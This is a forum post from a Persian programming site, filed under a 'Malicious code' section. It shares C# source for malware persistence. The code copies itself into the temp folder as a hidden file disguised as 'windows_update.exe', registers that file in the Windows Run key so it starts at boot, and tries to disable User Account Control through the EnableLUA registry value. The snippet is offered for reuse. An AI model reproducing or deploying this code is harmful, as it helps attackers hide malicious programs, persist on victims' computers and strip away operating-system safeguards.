Parsi Coders
سورس غیر فعال کردن uac با سی شارپ - نسخه قابل چاپ

+- Parsi Coders (http://parsicoders.com)
+-- انجمن: Security and influence (http://parsicoders.com/forumdisplay.php?fid=59)
+--- انجمن: Influence (http://parsicoders.com/forumdisplay.php?fid=61)
+---- انجمن: Malicious code (http://parsicoders.com/forumdisplay.php?fid=62)
+---- موضوع: سورس غیر فعال کردن uac با سی شارپ (/showthread.php?tid=1117)



سورس غیر فعال کردن uac با سی شارپ - Amin_Mansouri - 10-18-2011

[C#] Start with windows and desactivate UAC

کد:
//////////////////////////////////////////////////////////////////////
//Start with windows and UAC desactivation (working with xp / vista)/
//Snippet by t0fx, give credits if you use it///////////////////////
///////////////////////////////////////////////////////////////////


using System;
using System.IO;
using Microsoft.Win32;

namespace autostart
{
  class Program
  {
    static void Main()
    {
      try
      {
        if (File.Exists(Path.GetTempPath() + "windows_update.exe") == false)
          File.Copy(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName, Path.GetTempPath() + "windows_update.exe", true);
          File.SetAttributes(Path.GetTempPath() + "windows_update.exe", File.GetAttributes(Path.GetTempPath() + "windows_update.exe") | FileAttributes.Hidden);
          Console.WriteLine("File copy OK");
      }
      catch (Exception b)
      {
        Console.WriteLine("File copy failed : " + b);

      }
      try
      {
        var rkApp = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
        var uac = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", true);

        if (uac != null)
          if (uac.GetValue("EnableLUA") != null)
            uac.SetValue("EnableLUA", "0");
        Console.WriteLine("UAC desactivated");

        if (rkApp != null)
          if (rkApp.GetValue("windows_update.exe") == null)
            rkApp.SetValue("windows_update.exe", Path.GetTempPath() + "windows_update.exe");
        Console.WriteLine("Registry access OK and UAC desactivated");
      }
      catch (Exception c)
      {
        Console.WriteLine("Writing in registry failed " + c);
      }
    }
  }
}